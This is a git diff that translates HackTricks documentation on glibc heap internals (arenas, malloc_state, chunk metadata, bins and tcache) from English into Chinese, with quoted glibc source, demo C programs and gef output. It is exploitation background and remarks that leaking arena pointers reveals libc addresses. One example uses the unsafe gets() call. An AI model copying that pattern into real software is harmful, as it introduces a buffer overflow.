+/* Make sure the following data is properly aligned, particularly
+that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
+MALLOC_ALIGNMENT. */
+char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
```
-
### malloc_state
-**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\
-It’s important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\
-In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**.
+**每个堆**(主区域或其他线程区域)都有一个**`malloc_state`结构。**\
+需要注意的是,**主区域 `malloc_state`** 结构是 **libc中的全局变量**(因此位于libc内存空间中)。\
+在**线程的堆的 `malloc_state`** 结构中,它们位于**各自线程的“堆”内部**。
-There some interesting things to note from this structure (see C code below):
+从这个结构中有一些有趣的事情需要注意(见下面的C代码):
-- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time
-- Flags:
+- `__libc_lock_define (, mutex);` 是为了确保这个堆中的结构一次只被一个线程访问
+- 标志:
- - ```c
- #define NONCONTIGUOUS_BIT (2U)
+- ```c
+#define NONCONTIGUOUS_BIT (2U)
- #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
- #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
- #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
- #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
- ```
-
-- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used)
- - Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**.
-- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas
-- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space.
-- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here.
+#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
+#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
+#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
+#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
+```
+- `mchunkptr bins[NBINS * 2 - 2];` 包含指向**小型、大型和未排序的** **bins**的**第一个和最后一个块**的**指针**(-2是因为索引0未使用)
+- 因此,这些bins的**第一个块**将有一个**指向该结构的反向指针**,而这些bins的**最后一个块**将有一个**指向该结构的前向指针**。这基本上意味着,如果你能**泄漏主区域中的这些地址**,你将获得指向**libc**中结构的指针。
+- 结构 `struct malloc_state *next;` 和 `struct malloc_state *next_free;` 是区域的链表
+- `top` 块是最后一个“块”,基本上是**所有堆剩余空间**。一旦顶块“空”,堆就完全使用,需要请求更多空间。
+- `last reminder` 块来自于没有可用的精确大小块的情况,因此一个更大的块被拆分,剩余部分的指针放置在这里。
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
struct malloc_state
{
- /* Serialize access. */
- __libc_lock_define (, mutex);
+/* Serialize access. */
+__libc_lock_define (, mutex);
- /* Flags (formerly in max_fast). */
- int flags;
+/* Flags (formerly in max_fast). */
+int flags;
- /* Set if the fastbin chunks contain recently inserted free blocks. */
- /* Note this is a bool but not all targets support atomics on booleans. */
- int have_fastchunks;
+/* Set if the fastbin chunks contain recently inserted free blocks. */
+/* Note this is a bool but not all targets support atomics on booleans. */
+int have_fastchunks;
- /* Fastbins */
- mfastbinptr fastbinsY[NFASTBINS];
+/* Fastbins */
+mfastbinptr fastbinsY[NFASTBINS];
- /* Base of the topmost chunk -- not otherwise kept in a bin */
- mchunkptr top;
+/* Base of the topmost chunk -- not otherwise kept in a bin */
+mchunkptr top;
- /* The remainder from the most recent split of a small request */
- mchunkptr last_remainder;
+/* The remainder from the most recent split of a small request */
+mchunkptr last_remainder;
- /* Normal bins packed as described above */
- mchunkptr bins[NBINS * 2 - 2];
+/* Normal bins packed as described above */
+mchunkptr bins[NBINS * 2 - 2];
- /* Bitmap of bins */
- unsigned int binmap[BINMAPSIZE];
+/* Bitmap of bins */
+unsigned int binmap[BINMAPSIZE];
- /* Linked list */
- struct malloc_state *next;
+/* Linked list */
+struct malloc_state *next;
- /* Linked list for free arenas. Access to this field is serialized
- by free_list_lock in arena.c. */
- struct malloc_state *next_free;
+/* Linked list for free arenas. Access to this field is serialized
+by free_list_lock in arena.c. */
+struct malloc_state *next_free;
- /* Number of threads attached to this arena. 0 if the arena is on
- the free list. Access to this field is serialized by
- free_list_lock in arena.c. */
- INTERNAL_SIZE_T attached_threads;
+/* Number of threads attached to this arena. 0 if the arena is on
+the free list. Access to this field is serialized by
+free_list_lock in arena.c. */
+INTERNAL_SIZE_T attached_threads;
- /* Memory allocated from the system in this arena. */
- INTERNAL_SIZE_T system_mem;
- INTERNAL_SIZE_T max_system_mem;
+/* Memory allocated from the system in this arena. */
+INTERNAL_SIZE_T system_mem;
+INTERNAL_SIZE_T max_system_mem;
};
```
-
### malloc_chunk
-This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks.
-
+该结构表示特定的内存块。不同字段对已分配和未分配的内存块具有不同的含义。
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
- INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
- INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
- struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
- struct malloc_chunk* bk;
- /* Only used for large blocks: pointer to next larger size. */
- struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
- struct malloc_chunk* bk_nextsize;
+INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
+INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
+struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
+struct malloc_chunk* bk;
+/* Only used for large blocks: pointer to next larger size. */
+struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
+struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
```
-
-As commented previously, these chunks also have some metadata, very good represented in this image:
+如前所述,这些块也有一些元数据,在此图中很好地表示出来:
-The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate:
+元数据通常是0x08B,表示当前块大小,使用最后3位表示:
-- `A`: If 1 it comes from a subheap, if 0 it's in the main arena
-- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap
-- `P`: If 1, the previous chunk is in use
+- `A`:如果为1,则来自子堆,如果为0,则在主区域
+- `M`:如果为1,则该块是使用mmap分配的空间的一部分,而不是堆的一部分
+- `P`:如果为1,则前一个块正在使用中
-Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated).
+然后是用户数据的空间,最后是0x08B,用于指示块可用时的前一个块大小(或在分配时存储用户数据)。
-Moreover, when available, the user data is used to contain also some data:
+此外,当可用时,用户数据也用于包含一些数据:
-- **`fd`**: Pointer to the next chunk
-- **`bk`**: Pointer to the previous chunk
-- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself
-- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself
+- **`fd`**:指向下一个块的指针
+- **`bk`**:指向前一个块的指针
+- **`fd_nextsize`**:指向列表中第一个小于自身的块的指针
+- **`bk_nextsize`**:指向列表中第一个大于自身的块的指针
> [!NOTE]
-> Note how liking the list this way prevents the need to having an array where every single chunk is being registered.
+> 注意以这种方式链接列表可以避免需要一个数组来注册每一个块。
-### Chunk Pointers
-
-When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\
-For these conversions these functions are used:
+### 块指针
+当使用malloc时,返回一个可以写入的内容的指针(就在头部之后),然而,在管理块时,需要一个指向头部(元数据)开始的指针。\
+为这些转换使用这些函数:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@@ -207,13 +200,11 @@ For these conversions these functions are used:
/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \
- (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
+(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
+### 对齐和最小大小
-### Alignment & min size
-
-The pointer to the chunk and `0x0f` must be 0.
-
+指向块的指针和 `0x0f` 必须为 0。
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0.
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define misaligned_chunk(p) \
- ((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
- & MALLOC_ALIGN_MASK)
+((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
+& MALLOC_ALIGN_MASK)
/* pad request bytes into a usable size -- internal version */
/* Note: This must be a macro that evaluates to a compile time constant
- if passed a literal constant. */
+if passed a literal constant. */
#define request2size(req) \
- (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
- MINSIZE : \
- ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
+(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
+MINSIZE : \
+((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Check if REQ overflows when padded and aligned and if the resulting
- value is less than PTRDIFF_T. Returns the requested size or
- MINSIZE in case the value is less than MINSIZE, or 0 if any of the
- previous checks fail. */
+value is less than PTRDIFF_T. Returns the requested size or
+MINSIZE in case the value is less than MINSIZE, or 0 if any of the
+previous checks fail. */
static inline size_t
checked_request2size (size_t req) __nonnull (1)
{
- if (__glibc_unlikely (req > PTRDIFF_MAX))
- return 0;
+if (__glibc_unlikely (req > PTRDIFF_MAX))
+return 0;
- /* When using tagged memory, we cannot share the end of the user
- block with the header for the next chunk, so ensure that we
- allocate blocks that are rounded up to the granule size. Take
- care not to overflow from close to MAX_SIZE_T to a small
- number. Ideally, this would be part of request2size(), but that
- must be a macro that produces a compile time constant if passed
- a constant literal. */
- if (__glibc_unlikely (mtag_enabled))
- {
- /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
- asm ("");
+/* When using tagged memory, we cannot share the end of the user
+block with the header for the next chunk, so ensure that we
+allocate blocks that are rounded up to the granule size. Take
+care not to overflow from close to MAX_SIZE_T to a small
+number. Ideally, this would be part of request2size(), but that
+must be a macro that produces a compile time constant if passed
+a constant literal. */
+if (__glibc_unlikely (mtag_enabled))
+{
+/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
+asm ("");
- req = (req + (__MTAG_GRANULE_SIZE - 1)) &
- ~(size_t)(__MTAG_GRANULE_SIZE - 1);
- }
+req = (req + (__MTAG_GRANULE_SIZE - 1)) &
+~(size_t)(__MTAG_GRANULE_SIZE - 1);
+}
- return request2size (req);
+return request2size (req);
}
```
+请注意,在计算所需的总空间时,仅添加了 `SIZE_SZ` 1 次,因为 `prev_size` 字段可以用来存储数据,因此只需要初始头部。
-Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed.
+### 获取块数据并更改元数据
-### Get Chunk data and alter metadata
-
-These functions work by receiving a pointer to a chunk and are useful to check/set metadata:
-
-- Check chunk flags
+这些函数通过接收指向块的指针来工作,并且对于检查/设置元数据非常有用:
+- 检查块标志
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
- from a non-main arena. This is only set immediately before handing
- the chunk to the user, if necessary. */
+from a non-main arena. This is only set immediately before handing
+the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */
@@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
```
-
-- Sizes and pointers to other chunks
-
+- 大小和指向其他块的指针
```c
/*
- Bits to mask off when extracting size
+Bits to mask off when extracting size
- Note: IS_MMAPPED is intentionally not masked off from size field in
- macros for which mmapped chunks should never be seen. This should
- cause helpful core dumps to occur if it is tried by accident by
- people extending or adapting this malloc.
- */
+Note: IS_MMAPPED is intentionally not masked off from size field in
+macros for which mmapped chunks should never be seen. This should
+cause helpful core dumps to occur if it is tried by accident by
+people extending or adapting this malloc.
+*/
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
@@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
-
-- Insue bit
-
+- 确保位
```c
/* extract p's inuse bit */
#define inuse(p) \
- ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
+((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \
- ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
+((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \
- ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
+((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
- (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
+(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \
- (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
+(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \
- (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
+(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
-
-- Set head and footer (when chunk nos in use
-
+- 设置页眉和页脚(当使用块编号时)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
-
-- Get the size of the real usable data inside the chunk
-
+- 获取块内实际可用数据的大小
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
/* This is the size of the real usable data in the chunk. Not valid for
- dumped heap chunks. */
+dumped heap chunks. */
#define memsize(p) \
- (__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
- chunksize (p) - CHUNK_HDR_SZ : \
- chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
+(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
+chunksize (p) - CHUNK_HDR_SZ : \
+chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
/* If memory tagging is enabled the layout changes to accommodate the granule
- size, this is wasteful for small allocations so not done by default.
- Both the chunk header and user data has to be granule aligned. */
+size, this is wasteful for small allocations so not done by default.
+Both the chunk header and user data has to be granule aligned. */
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
- "memory tagging is not supported with large granule.");
+"memory tagging is not supported with large granule.");
static __always_inline void *
tag_new_usable (void *ptr)
{
- if (__glibc_unlikely (mtag_enabled) && ptr)
- {
- mchunkptr cp = mem2chunk(ptr);
- ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
- }
- return ptr;
+if (__glibc_unlikely (mtag_enabled) && ptr)
+{
+mchunkptr cp = mem2chunk(ptr);
+ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
+}
+return ptr;
}
```
+## 示例
-## Examples
-
-### Quick Heap Example
-
-Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64:
+### 快速堆示例
+来自 [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) 的快速堆示例,但在 arm64:
```c
#include
#include
@@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http
void main(void)
{
- char *ptr;
- ptr = malloc(0x10);
- strcpy(ptr, "panda");
+char *ptr;
+ptr = malloc(0x10);
+strcpy(ptr, "panda");
}
```
-
-Set a breakpoint at the end of the main function and lets find out where the information was stored:
+在主函数的末尾设置一个断点,让我们找出信息存储的位置:
-It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`.
-
-The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number.
+可以看到字符串 panda 存储在 `0xaaaaaaac12a0`(这是 malloc 在 `x0` 中给出的地址)。检查 0x10 字节之前,可以看到 `0x0` 表示 **前一个块未使用**(长度为 0),而这个块的长度为 `0x21`。
+保留的额外空间(0x21-0x10=0x11)来自 **添加的头部**(0x10),而 0x1 并不意味着它被保留为 0x21B,而是当前头部长度的最后 3 位具有一些特殊含义。由于长度始终是 16 字节对齐的(在 64 位机器上),这些位实际上永远不会被长度数字使用。
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
-
-### Multithreading Example
+### 多线程示例
-Multithread
-
+多线程
```c
#include
#include
@@ -460,56 +435,55 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1
void* threadFuncMalloc(void* arg) {
- printf("Hello from thread 1\n");
- char* addr = (char*) malloc(1000);
- printf("After malloc and before free in thread 1\n");
- free(addr);
- printf("After free in thread 1\n");
+printf("Hello from thread 1\n");
+char* addr = (char*) malloc(1000);
+printf("After malloc and before free in thread 1\n");
+free(addr);
+printf("After free in thread 1\n");
}
void* threadFuncNoMalloc(void* arg) {
- printf("Hello from thread 2\n");
+printf("Hello from thread 2\n");
}
int main() {
- pthread_t t1;
- void* s;
- int ret;
- char* addr;
+pthread_t t1;
+void* s;
+int ret;
+char* addr;
- printf("Before creating thread 1\n");
- getchar();
- ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
- getchar();
+printf("Before creating thread 1\n");
+getchar();
+ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
+getchar();
- printf("Before creating thread 2\n");
- ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
+printf("Before creating thread 2\n");
+ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
- printf("Before exit\n");
- getchar();
+printf("Before exit\n");
+getchar();
- return 0;
+return 0;
}
```
-
-Debugging the previous example it's possible to see how at the beginning there is only 1 arena:
+调试前面的示例可以看到,开始时只有 1 个 arena:
-Then, after calling the first thread, the one that calls malloc, a new arena is created:
+然后,在调用第一个线程,即调用 malloc 的线程后,创建了一个新的 arena:
-and inside of it some chunks can be found:
+在其中可以找到一些 chunks:
## Bins & Memory Allocations/Frees
-Check what are the bins and how are they organized and how memory is allocated and freed in:
+检查 bins 是什么,它们是如何组织的,以及内存是如何分配和释放的:
{{#ref}}
bins-and-memory-allocations.md
@@ -517,7 +491,7 @@ bins-and-memory-allocations.md
## Heap Functions Security Checks
-Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted:
+涉及堆的函数在执行其操作之前会进行某些检查,以确保堆没有被破坏:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
index eb184fc93..41340c871 100644
--- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
+++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
@@ -2,60 +2,55 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread.
+为了提高块存储的效率,每个块不仅仅在一个链表中,而是有几种类型。这些是 bins,有 5 种类型的 bins:[62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) 小 bins,63 大 bins,1 个未排序 bin,10 个快速 bins 和每个线程 64 个 tcache bins。
-The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins.
+每个未排序、小型和大型 bins 的初始地址在同一个数组中。索引 0 未使用,1 是未排序 bin,bins 2-64 是小 bins,bins 65-127 是大 bins。
-### Tcache (Per-Thread Cache) Bins
+### Tcache(每线程缓存)Bins
-Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**.
+尽管线程尝试拥有自己的堆(参见 [Arenas](bins-and-memory-allocations.md#arenas) 和 [Subheaps](bins-and-memory-allocations.md#subheaps)),但有可能一个有很多线程的进程(如 web 服务器)**最终会与其他线程共享堆**。在这种情况下,主要解决方案是使用 **锁**,这可能会**显著减慢线程**。
-Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
+因此,tcache 类似于每个线程的快速 bin,因为它是一个**单链表**,不合并块。每个线程有**64 个单链表 tcache bins**。每个 bin 最多可以有 [7 个相同大小的块](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323),大小范围为 [24 到 1032B 在 64 位系统上和 12 到 516B 在 32 位系统上](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315)。
-**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally.
+**当一个线程释放**一个块时,**如果它不太大**以至于无法在 tcache 中分配,并且相应的 tcache bin **没有满**(已经有 7 个块),**它将被分配到那里**。如果无法进入 tcache,它将需要等待堆锁才能在全局范围内执行释放操作。
-When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\
-There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache.
+当一个 **块被分配**时,如果在 **Tcache 中有一个所需大小的空闲块,它将使用它**,如果没有,它将需要等待堆锁才能在全局 bins 中找到一个或创建一个新的。\
+还有一个优化,在这种情况下,当拥有堆锁时,线程 **将用请求大小的堆块填充他的 Tcache(7 个)**,以便在需要更多时,可以在 Tcache 中找到它们。
-Add a tcache chunk example
-
+添加一个 tcache 块示例
```c
#include
#include
int main(void)
{
- char *chunk;
- chunk = malloc(24);
- printf("Address of the chunk: %p\n", (void *)chunk);
- gets(chunk);
- free(chunk);
- return 0;
+char *chunk;
+chunk = malloc(24);
+printf("Address of the chunk: %p\n", (void *)chunk);
+gets(chunk);
+free(chunk);
+return 0;
}
```
-
-Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use:
-
+将其编译并在主函数的 ret 操作码处设置断点进行调试。然后使用 gef,您可以看到正在使用的 tcache bin:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
```
-
-#### Tcache Structs & Functions
+#### Tcache 结构和函数
-In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin.
+在以下代码中,可以看到 **max bins** 和 **chunks per index**,为避免双重释放而创建的 **`tcache_entry`** 结构,以及每个线程用于存储每个 bin 索引地址的 **`tcache_perthread_struct`** 结构。
-tcache_entry and tcache_perthread_struct
-
+tcache_entry 和 tcache_perthread_struct
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
@@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind
# define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are...
- idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
- idx 1 bytes 25..40 or 13..20
- idx 2 bytes 41..56 or 21..28
- etc. */
+idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
+idx 1 bytes 25..40 or 13..20
+idx 2 bytes 41..56 or 21..28
+etc. */
/* This is another arbitrary limit, which tunables can change. Each
- tcache bin will hold at most this number of chunks. */
+tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
/* Maximum chunks in tcache bins for tunables. This value must fit the range
- of tcache->counts[] entries, else they may overflow. */
+of tcache->counts[] entries, else they may overflow. */
# define MAX_TCACHE_COUNT UINT16_MAX
[...]
typedef struct tcache_entry
{
- struct tcache_entry *next;
- /* This field exists to detect double frees. */
- uintptr_t key;
+struct tcache_entry *next;
+/* This field exists to detect double frees. */
+uintptr_t key;
} tcache_entry;
/* There is one of these for each thread, which contains the
- per-thread cache (hence "tcache_perthread_struct"). Keeping
- overall size low is mildly important. Note that COUNTS and ENTRIES
- are redundant (we could have just counted the linked list each
- time), this is for performance reasons. */
+per-thread cache (hence "tcache_perthread_struct"). Keeping
+overall size low is mildly important. Note that COUNTS and ENTRIES
+are redundant (we could have just counted the linked list each
+time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
- uint16_t counts[TCACHE_MAX_BINS];
- tcache_entry *entries[TCACHE_MAX_BINS];
+uint16_t counts[TCACHE_MAX_BINS];
+tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
```
-
-The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj
+函数 `__tcache_init` 是创建和分配 `tcache_perthread_struct` 对象空间的函数
-tcache_init code
-
+tcache_init 代码
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
static void
tcache_init(void)
{
- mstate ar_ptr;
- void *victim = 0;
- const size_t bytes = sizeof (tcache_perthread_struct);
+mstate ar_ptr;
+void *victim = 0;
+const size_t bytes = sizeof (tcache_perthread_struct);
- if (tcache_shutting_down)
- return;
+if (tcache_shutting_down)
+return;
- arena_get (ar_ptr, bytes);
- victim = _int_malloc (ar_ptr, bytes);
- if (!victim && ar_ptr != NULL)
- {
- ar_ptr = arena_get_retry (ar_ptr, bytes);
- victim = _int_malloc (ar_ptr, bytes);
- }
+arena_get (ar_ptr, bytes);
